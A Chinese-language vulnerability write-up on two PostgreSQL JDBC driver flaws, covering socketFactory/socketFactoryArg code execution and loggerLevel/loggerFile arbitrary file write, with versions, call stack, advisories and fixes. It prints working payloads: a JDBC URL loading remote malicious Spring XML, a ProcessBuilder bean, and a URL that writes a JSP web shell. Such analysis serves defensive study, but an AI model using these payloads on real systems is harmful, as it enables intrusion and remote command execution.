PostgreSQL JDBC Attack

任意代码执行 socketFactory/socketFactoryArg

影响范围:

  • REL9.4.1208 <= PostgreSQL <42.2.25
  • 42.3.0 <= PostgreSQL < 42.3.2

官方通告:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4

漏洞分析

直接看到触发漏洞的地方
org.postgresql.core.SocketFactoryFactory#getSocketFactory

从info中获取socketFactory和socketFactoryArg,如果不存在则设置为默认值

发现默认值均为null

1
2
3
4
5
6
7
8
9
10
SOCKET_FACTORY(
"socketFactory",
null,
"Specify a socket factory for socket creation"),

@Deprecated
SOCKET_FACTORY_ARG(
"socketFactoryArg",
null,
"Argument forwarded to constructor of SocketFactory class."),

org.postgresql.util.ObjectFactory#instantiate

反射获取Class,通过 newInstance 实例化对象,同时 args 作为参数,它的构造方法只有一个参数且是String类型,因此只要找到一个符合这样条件的类即可

调用栈如下:

1
2
3
4
5
6
7
8
9
instantiate:62, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)

漏洞利用

通过加载远程恶意XML实现RCE

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext
1
jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml

恶意poc.xml:

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

置空任意文件

  • java.io.FileOutputStream

打Blind XXE,通过ftp协议读文件,https://github.com/LandGrey/xxe-ftp-server

  • org.jdom.transform.XSLTransformer
  • org.jdom2.transform.XSLTransformer

SSRF利用

  • javax.swing.JEditorPane

漏洞修复

https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813

要求获取的类名必须是指定类的子类,否则就抛出异常

任意文件写入 loggerLevel/loggerFile

影响范围:

  • 42.1.0 <= PostgreSQL <42.3.3

官方通告:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-673j-qm5f-xpv8

漏洞分析

org.postgresql.Driver#connect的时候会执行 setupLoggerFromProperties 方法

跟进 setupLoggerFromProperties 方法

参数LOGGER_LEVEL为日志记录的级别,不能为off
参数LOGGER_FILE指定日志文件保存位置

在完成以上日志操作初始化后,跳出 setupLoggerFromProperties 方法,执行到:

1
LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);

直接调用java.util.logging.Logger#log方法将URL写入了日志中

漏洞利用

1
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=DEBUG&loggerFile=./test.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>

最终生成的文件内容如下:

参考:
Make JDBC Attacks Brilliant Again 番外篇
PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)